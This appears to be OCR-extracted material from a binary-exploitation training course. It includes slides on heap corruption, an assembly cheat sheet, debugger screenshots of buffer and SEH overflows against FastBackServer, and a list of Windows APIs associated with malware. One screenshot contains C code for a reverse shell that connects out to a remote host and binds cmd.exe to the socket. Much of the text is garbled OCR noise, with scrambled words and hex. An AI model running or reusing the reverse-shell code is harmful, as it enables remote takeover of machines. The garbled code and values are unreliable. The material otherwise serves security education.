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BINARY EXPLOITATION IS

EXPLOIT CONCEPTS

 Heap corruption
o Use-After-Free
* Format string

XQi4 ax, rbx\ %
all <func>

MEMORY & DEFENSES

.data

stack

(7 text

Stack canary

mov rxbx

ASLR

call <func>

NX

SEGMENTATION




= ENGLISH SLANG

Cap @

to lie or exaggerate;
claiming something that
IS not true

Example:

rif' T eZR' 60ZoeNN' i pLIGezUeUZ20"' 27
, but | later found out that was

cap
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Vulnerabilities By Types/Categories

CVEdetails.com assigns types/categories to vulnerabilities using CWE ids and keywords.

Year
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024

2025

Total

t Amt sm3s3h

Overflow

343

418

16326

Memory Directory File
Corruption |Sqgl Injection XSS Traversal Inclusion CSRF
1093 216 773 146 3 248
1096 85 476 90 4 85

o
@

2039 12

2387 126

220 108

21405 34983 2721 1466 7830

XXE

49

1215

SSRF

15

1885

Open Input
Redirect Validation

46 0
28 o
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Virtual Memory

Physical Memory

> J

Process A

Process B
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Process Environment Block (PEB)

e LILIG Z (Cer Dtk YoNZ' MeIRo &Z20p & P dUR Thread Environment Block (TEB)
UNEDZ UUX & NE (0 NOE @ NI NeDE NI Heap

MN o0 €'@WOZaD0 NMNF 1T L

Dynamic Link Library (DLL)

0x7FFDF000
0x7FFFFFFF
High Memory
Address OXxFFFFFFFF
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NASM Intel x86 Assembly Language Cheat Sheet

immediately precede the jz or jnz instructions

Instruction Effect Examples o3 R .
Copying Data a1 ' A a
mov dest,src Copy src to dest mov eax,10 a2 " B b
mov eax,[2000] o g < a
add dest,src dest = dest + src add esi, 10 33 & E ;
sub dest,src dest = dest — src sub eax, ebx gg § 'i' 11‘
mul reg edx:eax = eax * reg mul esi 1@ * J i
div reg ledx = edx:eax mod reg div edi }% + E ]1‘
eax = edx:eax + reg 13 M m
inc dest Increment destination INC eax }‘51 p H 2
dec dest Decrement destination dec word [0x1000] ig ? P D
18 2 g ¥
call label Push eip, transfer control call format_disk 19 3 g s
ret Pop eip and return ret %? g 5 fl
push item Push item (constant or register) to stack. push dword 32 gg g H v
l.e.: esp=esp-4; memory[esp] = item push eax 24 8 ¥ x
pop [reg] Pop item from stack and store to register pop eax 25 ? ¥ v
l.e.: reg=memory[esp]; esp=esp+4 28 z z
28 < 3 =
and dest, src dest = src & dest and ebx, eax %3 5 1 2
or dest,src dest = src | dest or eax,[0x2000] 31 ? - a
xor dest, src dest = src » dest xor ebx, Oxfiffiff 7 A H
shl dest,count dest = dest << count shl eax, 2 ? ; g g
shr dest,count dest = dest == count shr dword [eax],4 ¥ E n a
: 2 ; i
cmp b.a Compare b to a; must immediately precede any of |[cmp eax,0 + ] 14 :
the conditional jump instructions by § ¢ g
je label Jump to label ifb=—=a je endloop ® c E é
jne label Jump to label ifb 1= a jne loopstart § i E E
jq label Jump to label ifb = a jg exit 0 -~ I i
jge label Jump to label ifb > a jge format_disk ; » i i
il label Jump to labelifb<a [il error ; ]I) 3
jle label Jump to label ifb<a jle finish . fi i
test reg,imm Bitwise compare of register and constant; should [test eax,0xffff . g g
0 i}
jz label Jump to label if bits were not set (“zero") jz looparound 0 o
inz label Jump to label if bits were set (“not zera") [inz error _ ',]( g
jmp label Unconditional relative jump imp exit ;’ i 3 o
jmp reg Unconditional absolute jump; arg is a register Jjmp eax = 2 u i
Miscellaneous 2 > u a
nop No-op (opcode 0x90) nop 7 tH ¥
hit Halt the CPU hit H 7 B
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GeGGZol' OeobDZ oUzZz2 o1

¥
. ] B Ly 2 S ety o L e i .
Ge G@2wDZ 'qRW 24 ONE' bl 0 O ME DHUZYIFZ: ] e =
o N P N . Offset [@Sscopeip 0000D0D000581859
LJe Nk OU NI NJIO 2 KBGOIRIDZY 'NIN OW NN 1 G 00551832 cib9sEieny call  FastBackServer |0000000000581859 loc_581853:
i o AN . . 7 iic a = 000000D000581859 mov eax, [ebp-10h]
2 14 ¥ i By SOY 2 - a 000000000058185C mov [ebp-4], eax
¢ VP8 e NO Y 2'@iCCE NIt I'4' 0l GUTLEE | 000000000058185¢ mov  [ebp-i], ca
- = AT = 4 ¥ E4 -\ 7 (N7 7 N - 0000000000581862 push ecx ; Size
OcoDAdBYRZOTY mb’OYMDNJGI’ Ofr @’dJCETUA 0:006> dd= esp 13 P
000000D000581863 mov edx, [ebpt8]
< - QP S NS QU ARy lggbfcd: Dafdeoss 0000000000581866 mov eax, [edx+2Ch]
"W ¥ > ' ¥ ¥ 0d?bf=d98 04fdalSe '
llJ r DZU M\E)@ al m]W 8 ZYL[JQ N\E Oe U RtN\IJ U 0d2bfe%9%c 00000064 00000000005 81EES9 movw ecx, [ebp-l-ﬂ]
. L e R o N vir o |0:0063 dd 04fdedSe 000000D00058186C lea edx, [ecx+eax+38h]
D& Gé.lNﬂ]fJQ )LE]GRQ OGRIANT G Z1LI0T WY I |iedstaeiiiinn oo sinononInno00InRIT0R0060 0000000000581870 push  edx ; Src
Odfded6c 00000000 DOOODOOD OODOOOOO 00000000 0000000000581871 mov cax, [ebp+8]
VAR LBV AAE =04fded?c 00000000 OOO00OO0 00000000 00000000 '
1 U QB(M’]LUZYBZY ZBO\MRJI’YPE N.I]Q WYrie MI’U e (Closfdedde 00000000 0000DD0D 000000DD 0000OOOD 0000000000581874 mov ecx, [eax+20h]
] o _ |04fde49= 0O0000DO0 0O0OOODOO OO0OOOOO 00OO0OON 000000D000581877 mov edx, [ebp+8]
1 L 1 Odfdedac 00000000 DOOODOOD 00000000 OO000OOOO0
Z LJN\T LJQ N‘B gr QUO’LB R U Q N'-R U UUFY@J? GGR Odfdedbc 00000000 DOOODOOD 00000000 0O00O0OOOO0 ggggggggggg:ig;i‘ leah eax, [Ed“ec““?ag]t
DZY @"\T Z@ T s e E S, = T v,@ P Odfdedcc 00000000 00000000 0O0OOOOO Q0000000 0000000000581882 P“il eax PoUs
N Ymﬁ KEM; dQ(fI “IZ"Z'N’ m]I 0:006> dd 04fdalbc ca _memcpy
Q:':' D “? u I N 04fdalSc 41414141 41414141 41414141 41414141 000000D000581887 add esp, OCh
= « OdfdaD6c 41414141 41414141 41414141 41414141
O e GGTF NJ D4fdaD7c 41414141 41414141 41414141 41414141 ggggggggggg:i::g mev egx’ [ehpiggm
04fdalfc 41414141 41414141 41414141 41414141 mav edx, [ecx ]
D4fdalfc 41414141 41414141 41414141 41414141 0000000000581820 add edx, [ebp-4]
OdfdaDac 41414141 41414141 41414141 41414141 0000000000581893 mov eax, [ebp+a]
04fdaDbc 41414141 00000000 00000000 00000OOO
Ddfdalec 00000000 0ODOOOO0 0O000O0D 0000OOOD 0000000000581836 mov [eax+20n], edx
. v G o s - . v s o s 0.0065 p 0000000000581899 mov ecx, [ebptd]
KT or N\H_E (é N X O & Q LI G'fj NNIDY D’@QG G‘eax=ﬂ4fd345c ehx=0529b5e0 ecx=00000000 edzx=0000 |000000000058183C mov edx, [ecx+2Ch]
v LS L, < — e . . ) eip=00551887 ssp=0d?bfedd sbp=0d?bisbl iopl=0 000000D00058189F add edx, [ebp-4]
1 ' i Y 1! X1 c==001b ===0023 d==0023 f==003b g=
8 O, DZ Z)l-uu mml\mg 0, OlZJ al-a]l\dl,h u N\B DZ‘ DE’ FastBackSerwer |FX_AGENT_ CopyReceiveBuf f+0=251: 00000000005818A2 mov eax, [ebp+d]
m L i e . i e eep. 0Ch 00000000005818A5 mov [eax+2Ch], edx
Y Y ¥ £ N ¥I¥ ! llo: 006> dd 04fdedsc ’ 00000000005818A8 mov ecx, [ebp+8]
I e C(TQ Z T—}Je i LZéMII‘]N‘b u NJ@LDIOLrJrN@Z 0dfdedSc 41414141 41414141 41414141 00000000005818AE mov edx, [ebptd]
v 1 =Y R L N — > Jdfd=edbz 41414141 41414147 431414141 41414141 0000000000581 8AE mov eax, [ecx+2Ch]
| LJI’ @ R;GZ myIIjZ EO’(QJLngl‘dﬂ o (bl EZf /01 Odfded7c 41414141 41414141 41414141 41414141 '
E D4fdedBe 414141471 41414141 41414141 41414141 00000000005818B1 cmp eax, [edx+28h]
04fded9c 41414141 41414141 41414141 41414141 00000000005818B4 Jb short loc_5818CA
Odfdedac 41414141 41414141 41414141 41414141 v
Odfdedbc 41414141 00000000 00000000 0O0O00OOOO0
Odfdedcc 00000000 DOOODOOD OO0DOOOOO 0O0O0O0OOOO0
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M« « |

B comoe 00T 356432K 183572K 744 Vindows bporer |
M « <'Q’I NW Y'e KETZ @ Ném\l‘z @ u U Q U Ga mj vmware-tra}re:e 3776 K 4528 K 4512 VMware Tray Process
R e 'ngyl m' @ FUul TORNO U G U a LJGJGZ 'O (= mrgme.e:e < 0.01 250,412 K 381,776 K 14104 Google Chrome
o N G <o o s s @ = g sublime_text exe 42182 K 37586 K 22976 Sublime Text
| Z OU GUEOoYeaNiFT GR P LId N OU'E B ¢ [iplgin host-33exe 11488K  10,180K 22004
E] T 'VC) %l LJN\E N~ (:f Gz @ G' (('f\a vae O"O’ [#z| plugin_host-3.8.exe 17,856 K 12540 K 22632
Fpi el Ve Dao T (M «eSRZ10 Nk N F———
“ ., MName Description Company Name Path
1
U FZ o DZO% LRYLBW MH cplr MJYG e R wscm cpl.mui Securty and Maintenance Microsoft Corparation C\Windows*System 32 en-L 5 wscui.cpl mui
m* Ty l Il B I\Bbﬁ wscui.cpl Securty and Maintenance Microsoft Corparation C\Windows*System 32 wscui.cpl
J ér I\p e O’G' e U ZII Z G]B N @ @:Cwscm cpl Securty and Maintenance Microsoft Corparation C\Windows System 32 wscui.cpl
‘r’ N\]‘Z lHj a_m CD'ET d?fU @ é Gg@ U (0} OZJ lZwsmnten:up dll Windows Healtth Center WSC Inter... Microsoft Corporation CWindows'System 32 wscinterop.dl
wscapi.dil Windows Security Center AP| Microsoft Corporation CAWindows \System 32 wscapi.dll
DB URRD UFURG 2 @R W @& V) @ iR R NJFwsz_32d Windows Socket 20328t DLL  Microsoft Corporation C:\Windows\ System32\ws2_32 dll
o WppRecorderUMdl  "WppRecorderlJM.DYMLIMNK" Microsoft Corporation C \Windows \System 32\ WppRecorderUM. dll
| LJQ’ O r wpnclient dll Windows Push Motifications Client  Microsoft Corporation C:\Windows System 32wpnclient dll
wpnapps.dl Windows Push Motffication Apps Microsoft Corparation C \Windows*System 32 wpnapps dil
WPDSh5ServiceObjdl Windows Portable Device Shell Se... Microsoft Corparation C '\ Windows* System3ZWP D5hServiceObj dil
wpdshext dil Portable Devices Shell Extension Microsoft Corparation C\Windows™System 32 wpdshext dll
WorkFoldersShelldl - Microsaft (C) Work Folders Shell E...  Microsoft Corparation C\Windows System 32 Work Folders Shell dll
de M«c'eNF U Ue Oe@ZOR HEIELINE O Fumicirea WMI Client AP Microsoft Corporation C:\Windows\System32\wmiclnt di
— v, v v wlidprov.dll Microsoft® Account Provider Microsoft Corporation CAWindows \System 32 wlidprov dll
0o 1\R U Q l-zwrr M «r« Ip I—JU N\U O U Z Q N\T widp.dll Windows Lockdown Policy Microsoft Corporation C\Windows System 32widp dll
M e v ¥ N NN X1 K  VanMediaManage... Windows WLAN Media Manager ...  Microsoft Corporation C\Windows System 32" WlanMediaManager.dll
or O UvéH\IWLNN‘b GUF&] U r O_L]I\Lbr Ll’J‘H‘ N"G‘|DI'.-~.'I.E|r|a|:|i.u:III Windows WLAN AutoCorfig Cliert...  Microsoft Corporation C:Windows System 32wlanapi dll
¥ YN 1 A3 r 5 whsclidl Waorkstation Service Client DLL Microsoft Corparation C\Windows™System 32 wihscli dl
r p e O I'a]@j:YlF M (e IN& UrR (Hj.] W @‘@ R WinTypes dll Windows Base Types DLL Microsoft Corparation C\Windows*System 32 Win Types dll
o ‘f N rmﬁ D Ql 6 ‘r’ G'"e ‘bz' ‘lDZ‘[’ DZM'\LB< G:\'intn_lst.dll Microsoft Trust Verfication APls Microsoft Corporation CAWindows™System 32 wintrust dl

UVYe NI i NNE adJBBRIRFFD LIG 2PNINBIDF 1
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CreateToolhelp3Zsnapshot

EnmmbeviceDrivers

EmmProcesses

EnumProcessModules

EnmmProcessModulesEx

FindFirastFiles

FindWextFilea

GetLogicalProcessor Information

GetLogical Processor InformationEx

GetModul eBaseNamen

GetsSystemDefanltLangrd

GetVersionExa

GetWindowsDirectorya

IsWoWG4Frocess

Module32Firat

Module32Next

Process3ZFirat

FProcess3iZNext

ReadProcessMemory

Thread32Firat

Thread3zNext

GetSystemDirectoryh

GetSystemTime

ReadFile

GetComputerHameR

VirtualQueryEx

CreateFileMappingh

CreateProcessh

CreateRemoteThread

CreateRemoteThreadEx

GetModuleHandlen

GetProcAddress

cetThreadContext

HeapCreate

LoadLibrarya

LoadLibraryExA

Localilloc

MapViewDfFile

MapViewDfFilez

MapViewDfFile3

MapViewofFileEx

OpenThread

Process3zZFirat

ProcessizZNext

PueuslaerAPC

ReadProcessMemory

ResumeThread

SetProcessDEPPolicy

SetThreadContext

suspendThread

Thread32Firat

Thread32Next

CreateFileMappingh

DeleteFilea

GetModuleHandlen

GetProchddress

LoadLibrarya

LoadLibraryExa

LoadRescurce

SetEnvironmentVariableh

SetFileTime

Sleep

WaitForSingletbject

SetFileAttributesh

SleepEx

NtDelayExecution

NtWaitForMultipleOhjects

NtWaitForsingleobject

CreateWindowExa

RegisterHotRey

timeSetEvent

IcmpSendEcho

WaitForsinglecbjectEx

WaitForMultipleOhjects

WaitForMultipleobjecteEx

BetWaitableTimer

CreateTimerfusueTimer

CreateWaitableTimer

AttachThreadInput

callNextHookEx

GetAsyncKeyState

GetClipboardData

GetDC

GetForegroundwWwindow

GetEeyboardstate

GetHeyState

GetMessageh

GetRawInputData

CGetWindowDC

MapVirtualKeya

MapVirtualKeyExA

PeekMessageh

FPostMessageh

FPostThreadMessages

RegisterHotRey

RegisterRawInputDevices

SendMessageh

sendMessagecallbacks

SendMessageTimsouth

SendNotifyMessagen

SetWindowsHookExA

SetWinEventHook

UnhookWindowsHookEx

WinExec

FtpPutFileh

HttpOpenRequesti

HttpSendRequesth

HttpSendRequestExh

InternetCloseHandle

InternetOpent

InternetOpenlrla

InternetReadFile

InternetReadFileExA

InternetWriteFile

URLDownloadToFile

URLDownloadToCacheFile

URLOpenBlockingStream

URLOpenStream

Rocept

Bind

Conmect

Send

WSAStartup

Gethostname

Socket

WSACleanup

CreateToolhelp32Snapshot

GetLogical ProcessorInformation

GetLogical Processor InformationEx

GetTickCount

outputDebugStringh

CheckRemoteDebuggerPFresent

Sleep

GetSys temTime

GetComputerNameh

SleepEx

IsDebuggerPresent

GetUserNames

NtQueryInformationProcess

ExitwWindowsEx

Findwindowh

FindwindowExa

GetForegroundWindow

GetTickCounts4

fueryPer formanceFrequency

gueryPer formanceCounter

GetNativeSystemInfo

RtleetVersion

GetSystenTimeAsFileTime

CcountCliphoardFormats

CryptAcquireContexth

EncryptFiles

CryptEncrypt

CryptDecrypt

CryptCreateHash

CryptHashData

CryptDeriveley

CryptESetReyParam

CryptGetHashParam

CryptSetReyParam

CryptDestroyKey

CryptEenfandom

DecryptFileR

FlushEfsCcache

GetLogicalDrives

GetDriveTypeh

CryptStringToBinary

CryptBinaryToString

CryptReleaseContext

CryptDestroyHash

EmumSystemLocalesh

CryptProtectData

ConmectNamedPipe

CopyFileR

CreateFileh

CreateMutexh

CreateMutexExh

DeviceloControl

FindResourceh

FindResourceExA

GetModuleBaseNamer

GetModuleFileNames

GetModuleFileNameExa

GetTempPathi

IsWoWG4+Frocess

MoveFiles

MoveFileExa

PeckNamedPipe

WriteFile

TerminateThread

CopyFilez

CopyFileExR

CreateFilez

GetTempFileNameh

TerminateProcess

SetCurrentDirectory

Findcloze

SetThreadPriority




CreateRemoteThread GetProcAddress

CreateRemoteThread is used to create a thread that runs in the wvirtual GetProcAddress is used to get the memory address of a function in a DLL.

address space of another process. This is often used by malware for obfuscation and evasion purposes to

avoid having to call the function directly.

Kernel32.dll
Kernel32.dll

Injection

Injection Evasion

Created: 2021-10-30
Last Update: 2021-10-30 Created: 2021-10-30
Credits: mr.dox Last Update: 2021-10-30

Credits: mr.dox
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bfr DZNIT'TYF GG

U 0 G MESANEF OBITNY G '(PbE ol |
NF DZUeYGDE 72000 ¥ KF |j U £ Nie P R
F P Ll MINCRB® RGGH RNIoU F Re Bl

Zoz UGG 2 BNe«® LG & Urg NIZ FiEass

LI = RN TN L 1w A\ *:- Ilp_a Lr‘ini ;mcesccn'

Z m 8 G &E W m + a 8' @@rN,[B @ YJ ;EQEE;EfTEEORMAFEDN pr‘;c;sso_inﬁ:;

i e OV RY e GLNG 2 oluEi 1Ol b Bi e

- o o g . o e o s o . ;' main(int argc, char *argv[])

O 8 0 O, rr‘ @ N E£ mL U Dj’ O, r F Lm e E’ e L WSAStartup(MAKEWORD(2,2), &wsaData};

v = £ (}i;k:;&h N : Winsock=WSASocket (AF_TNET,SOCK_STREAM,TPPROTO TCP,NULL, (unsigned int)NULL,(unsigned int)NULL);
GNF e UF ONEEOT DR Z UDZ C

if (argv != 3){fprintf{stderr, "Uso: <rhost> <rport>\n"); exit(1};}

i UOREADT

= gethostbyname(argv[1]);

strepy(ip addr, inet ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;

hax.sin_port = htons(atoi(argv[2]))};

hax.sin_addr.s addr =inet addr(ip addr);

ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hS5tdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd =", NULL, NULL, TRUE, @, NULL, MULL, &ini processo, &processo info);
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T Pid 628 - WinDbg:10.0.18362.1 X86 - X
File Edit View Debug Window Help
| & EHEH= e | NEESEOREDOEIE] 0 A B
i
Offset: |@Ssc0peip | Previous Next Virtual: |esp | Previous

. dsassembl possible Display format | Long Hex ~ Next
2f09n3333 43 e b O0aff7al 2£9c06bl 42424242 42424242 2f9bkecd 75387503
2£9b3234 895del now dvord ptr [ebp-20h].ebx 00aff7b4 42424242 424247242 2§9h120e ffFFff18 2f9b4117
2fO9RI337 =TACfcfefffEff  mow dword ptr [ebp-4].0FFFFFFFEL  |00=2f£7c8 42424242 42424242 73ade732 2£9b1042 00000001
2f9h333e Sbol nov et O0aff7dc 2£9h3331 2£9c0hbl 42424242 42424242 2f9bbecl
2f£9R3340 =b0b imp CustomSwr0l+0x334d (2f9b3344 (002f£7£0 75387509 42424242 42424242 2£9b120e fffffedc
J£9R3342 330 e I —— D02f£804 2£9b4117 42424247 42424242 73ad6732 2£9b1042
2f9h3344 40 e Eai O0=ff518 00001000 2£9b3331 2£9c0phl 42424242 42424242
J£0n3345 o3 Pt D0aff32c 2i9b6ecl) 75387509 42424242 42424247 2£9b120e
2£9b3346 BbESel nov esp.dvord ptr [ebp-18h] 00affB840 fffffeal 2£9h4117 42424242 42424242 73ad6732
2f9R3349 =b12? imp CustomSwr0l1+0x335d (2f9b3354 (00=££854 Z£9L104Z2 00000040 2£953331 2£9c06bl 42424242
2f9h334p 22c0 b Ry O0=ff868 42424242 2f9bhech 75387503 42424242 42424242
2f9b334d 2b4din nov ecx,dvord ptr [ebp-10k] 00affd7c 2f9b120e ffifffedc 2f9b4117 42424242 42424242
2f9RIICO 64890400000000 mow dword ptr fs:[0].scx 00=2f£890 75385908 44444444 44444444 44444444 44444444
2f9L3357 54 oop g OO=fffad 44444444 44444444 44444444 44444444 44444444
Jf9n31G8 Gf oD = D0aff3b 44444444 44444444 44444444 44444444 44444444
2f9L3359 Ce Bob st OOafffcc 44444444 44444444 44444444 44444444 44444444
Sf0h3ILL Ch e Sr O0affSel 44444444 44444444 44444444 44444444 44444444
< > |0Daffsf4 44444444 44444444 44444444 44444444 44444444
Command n
eax=00aff62a ebx=00001530 ecx=fff{fff58 ed=x=00000000 e=zi=00a ~ Virtual: |ebp | Previous
eip=2f9bkels e=p=00affy% =bp=00aff048 iopl=0 nw up .
c==001b ===0023 d==0023 e==0023 f==003h g==0000 Display format: | Long Hes v ||| Next
CustomSyrlltlzbels: 00afft2a 5a5a5aB4 Sabababa SabaSaba 5afababa Gabababa ~
Sﬁgggfﬂ5 e3 rst Olaffhis 555a5aGa SaGababa Ga5a5aba Gabababa Gabababa
csm=00aft62a obx-00001530 scx=fffff£58 edu=00000000 =si=00a | |003ffpce Sagagace Sasatate Satatade Gajadada Sagataca
eip=2£3b3331 esp=00aff?al sbp=002££048 iopl=0 nv up Ofaffh7a 5afabafa Safababa SafaSafa Gabababa Gafababa
cs=001b =5=0023 d==0023 es=0023 fs=003b gs=0000 00afftfe 5aSaSaSa Sabababa Sabfababa 5afababa Gabababa
CustonSvrll+lz33dl: 00aff6a? 5a5a5aba 5a5aSaba 535a5a5a 5aGababa Gabababa
S?ggg§31 3% uchg  eax. ebp 00affEbf 5aSaSabSa 38c05aba £0487552 474700af 00074747
cax=00af£048 sbx-00001530 ecx=ffffLES8 odu=00000000 e=i=00a | |00aiieds 42424242 12004242 £fed2£9D ALI7E£1 4242063D
sip=2£3b3332 esp=U0aff7all sbp=00afftia iopl=0 nv up O02ff6f2 42424242 fEbod4242 424200af acl44242 42427539
£s=001b  ==5=0023 ds=0023 es=0023 f£==003b gs=0000 00aff706 40184242 8h3c2f9c 42427539 06b14242 42422f9c
CustomSvril+lz3332: O0aff7la 42424247 42424247 £7284242 750900af 42427538
2£9b3332 o3 ret o |DDaff72s 42424242 12024242 ££982£9h 4117f1ff 42422f9h
D0aff742 42424242 £6c04242 104200af £2222£9b beO3fiff
< > O0=ff756 33312f9h O6b12f9h 42422f9c 42424242 £76c4242
Too00s | 00aff76a 750900af 42427538 42424242 120=4242 ££582f9b i
& NMAO=fFF7P7= AT17FFFF AD2AT2F0R A2424247 FE~AATAD2 10A20NSF

LnQ, Col0 Sys(:<lLocal> Proc000:274 Thrd 000:184 ASM OVR | CAPS NUM

3N



g2 Gi R

t Amt sm3s3h

U M+

File Edit Jump Search View Options

Windows Help

E e | |fgdy & B8 (a0 |t FryFmX | OO (|l % (| |E0 & B¢
Library function [l Regular function [l Instruction Data Unexplored External symbol
| Functions window o | & | IDA View-A B | Hex View-1 & Structures B E Enums
Function name -l ¥
e
_GetAndResetUpdateStatus .
000000000056A158 loc_S6A158: ; Size
_RengrcaleaCk 00000000005 6A158 push 186A4h
: 0000000000SEA1SD push O : val
_FXCLI_C_ReceiveCommand 000000000056A15F mov edx, [ebp=0Ch]
000000000036A16Z push  edx ; Dst
_FXCLI_C_SEndCOmmandRepIY 000000000036A163 call _memset
00000D00000SEAL1ER add &sp, och
_FXCLI_Inter_SendCommand 000000000056A16B mov eax, [ebp+l0h]
000000000056A16E sub eax, 30h
_Comparelob J 000000000056A171 mov ecx, [ebp-0Ch]
. B 0000000000SEA1TA mov [eex], =ax
_SetJobFilterField 0000D00D0DS6A1TE mov edx, [ebp-0Ch]
. 000000000056A1TY mov cax, [edx]
_StartTimer 000000000036A17E push  eax ; size
. 0000000000SEA1TC mow acx, [ebp40Ch]
_StopTimer 0000000D00S6A1TF add ecx, _m:P
F . 000000000056A182 push SCK Src
_FXCLI_OpenTmpConfFile 000000000056A183 mov edx, [ebp-0Ch]
. 000000000086A186 add edx, 4
_FXCLl_ChECle“EmUanUE 000000000036A185 push edx Dst
. 0000000000S6A1EA call  _memcpy
_FXCLI_OpenConfFile 000000000056A18F add esp, 0Ch
_FXCLI_DeleteFile v¥
_FXCLI_RenameFile (PP
o T B 000000000056A192
0000000000%6A192 loc_S6A192:
| | ] 000000000056A152 push offset _FXCLI_IF_sAgentCommandsMemoryPool
- 00000000005EA197 call  _MEM_S_GetChunk
Line 2933 of 6922 000000000056A19C add esp, 4
000000000036A19F mov [ebp-8], eax
; [m] | || 000000000056A1A2 cmp dword ptr [ebp-8], O
|'ﬂ" Graph overview —I ® 000000000056A1AE jnz short loc_SEALBY
_:_';_‘_-_ I
------------------------- E M m
00000000005 6A1B3
00000000003 6ALES loc_5EALES: ; Size
...................................... D000ODGDODSEAIES push 30k
00000000005 EALEE mov eax, [ebp+0Ch]

80.00% (1621,493)|(821,499)|[00162212/[000000000056A21A: _FXCLI_C_ReceiveCommand+12E (Synchronized w

| Output window

Database for file 'FastBackServer.exe'

has been loaded.

IDC ||

AU: idle | Down Disk: 57GB
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LI

a

[@=] accesschk
[=] accesschkfd
;ﬁhccessEnum
@Ad&cplnrer
A4 ADExplarer
2 ADInsight

3 ADInsight
[#z] adrestore

[ag] Autolegon
@autoruns

= Autoruns

|_'| Autorunséd.dll
= Autorunsid
= autorunsc

= autorunschd
Eﬂ]Bginfn
Fl|Bginfotd

B Cacheset

[#z] Clockres

5] Clockrestd
[2=] Contig

[2=] Contigéd

[z Coreinfo

@ CPUSTRES

& CPUSTRESR4
IJ ctrlZcap.amd.sys
(85 ctrlZcap

d ctriZcap.ntd.sys
@] etrliZcap.nt3.sys
E%)Dbgview
ﬁDbgview

A4

BB Desktops
22 Disk2vhd
< disk2vhd
[0=] diskext
(=] diskextfd
E Diskmon
@ Diskmon
{5 Diskview
[] DMON.SYS
[#z]du

[8=] dub4

[o=] efsdump
|=| Eula

[5z| FindLinks
=] FindLinksg4
[z handle
[#z| handlefid
8z hex2dec
[z hex2dechd
[8=]juncticn
[m=]junctiontd
[o=]ldmdump
=] Listdlls
(=] ListdllsB4
[z livekd

[0 livekdfd
il LoadOrd
il LoadOrd64
i LoadOrdC
il LoadOrdCh4

[2=]logonsessions

y 4
L |

uou

A4

I

Nb e Gl

[]logonsessionsBd
5= movefile
=] movefilefd

B notrmyfault
B notmyfaulttd

B notrmyfaultc
B notmyfaultctd
[#=] ntfsinfo

[#=] ntfsinfofd
ﬁfpagedfrg
apagedfrg

[®] pendmowves
[#E] pendmowvestd
[2=] pipelist

[m=] pipelistd

[ ] PORTMON.CNT
¢ portmon

@ rPorRTMON
[®] procdump
[55] procdumptd
22 procexp

¥ procexp

¥ procexptd
[ procmon

£ZJ Procmon

2 Procmontd
[#=] PsExec

[#=] PsExechd

[#5] psfile

[w5] psfilebd

=] PsGetsid

=] PsGetsided
[#Z|Psinfo

[#:] Psinfobd
(=] pskill

[0=] pskillgd

[85] pslist

(5] pslistbd
[#5]PsLoggedon
[#5]PsLoggedonbd
[2=] psloglist
[2=] psloglistsd
[2=] pspasswd
[2=] pspasswdbd
(& psping

[5=] psping64
8] PsService
[#z] PsServicefd
[#5] psshutdown
[8Z] pssuspend
[85] pssuspendtd
@Pstnols

] psversion
LB ramMap
i:| readme
[2=|RegDelMull
(5= RegDelMullgd
[5=] regjump
[#z]ru

(=] rubd

[=] sdelete

[Z] sdeletesd

i34 ShareEnum
%ShellRunas
[a=]sigcheck
[0=]sigchecked
[#=] streams
(8] streams6d
[#5]strings
[85] stringsb4
[8=]syne

[8=] synchd
[2=]Sysmon
[2=] SysmonBd
&Tcpvcnn
E—thpview
&Tcpview
@ TCPViEw
[8z] Testlimit
[#z] Testlimithd

@meap
I_I_ll.rmmap

(5= Valumeid
[m=] Volumeidad
[m=]whois

(=] whoishd

(£ Winobj
©winoe
JZDDH‘IHZ
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M to-netilix-problems-2011-07-06.pcap — O X
File Edit View Go Capture Analyze Statistics Telephony  Wireless  Tools  Help
4m 1@ REQRes=F s5EHaaan
[ll;‘appl'-;adispla'-; filter ... <Ctrl-/> =3 ~| Expression.. | +
Mo. Time Source Destination Protocol Length  Info ~
i 343 65.142415 192.168.8.21 174.129.249.228 TCP 66 48555 + 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ T5val=491519346 TSecr=551311827
E 344 £5.142715 192.168.0.21 174.129.249.228 HTTP 253 GET /fclients/netflix/flash/application.swf?flash_version=flash_lite_ 2.18wv=1.5&nr
i 345 ©5.23@8738 174,129,249 228 192.168.8.21 TCP 66 BB - 48555 [ACK] Seq=1 Ack=188 Win=6864 Len=8 TSval=551811858 TSecr=491519347
i 346 65.248742 174.129.249.228 192.168.6.21 HTTP 828 HTTP/1.1 382 Moved Temporarily —
i 347 £5.241592 192.168.8.21 174.1259,249,228 TCP G6 48555 + 3@ [ACK] Seq=188 Ack=763 Win=7424 Len=8 TSval=491519446 TSecr=551311852
348 65.242532 192.168.8.21 192.168.8.1 DNS 77 Standard query 8x2188 A cdn-8.nflximg.com
¢ 349 65.27687@ 192.168.8.1 192.168.8.21 DNS 489 Standard query response @x2188 A cdn-8.nflwimg.com CNAME images.netflix.com.edge
! 358 65.277992 192.168.8.21 63.8@.242.48 TCP 74 37863 + 3@ [SYN] Seq=8 Win=5348 Len=08 M55=146@ SACK_PERM=1 TSwval=491519482 TSecr—j
i 351 ©5.297757 6£3.80.242.48 192.168.8.21 TCP 74 BB - 37863 [SYN, ACK] Seq=@ Ack=1l Win=5792 Len=@ M55=146@8 SACK_PERM=1 TSval=3295—}
i 352 65.298396 192.168.8.21 63.8@.242.48 TCP 66 37863 + 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ T5val=491519582 TSecr=329553413@ =
i 353 £5.298687 192.168.8.21 63.8@.242.48 HTTP 153 GET fus/nrd/clients/flash/814548.bun HTTP/1.1 —
i 354 ©5.31873@ 6£3.80.242.48 192.168.8.21 TCP 66 BB - 37863 [ACK] Seq=1 Ack=88 Win=5792 Len=8 TS5val=3295534151 TS5ecr=491519583 [
i 355 65.321733 63.86.242.48 192.168.6.21 TCP 1514 [TCP segment of a reassembled PDU] 7
< >
Frame 349: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) ~
Ethernet II, Src: Glcbalsc_@@:3b:@a (f@:ad:4e:@8:3b:@a), Dst: Vizic 14:8a:el (@8:19:9d:14:8a:el)
Internet Protocel Version 4, Src: 192.168.8.1, Dst: 192.168.8.21
User Datagram Protocol, Src Port: 53 (53), Dst Port: 34836 (34836)
% Domain Name System (response)
Request In: 348
[Time: 2.8343388@8 seconds]
Transaction ID: @x2188
Flags: 8x818@ Standard query response, No error
Questions: 1
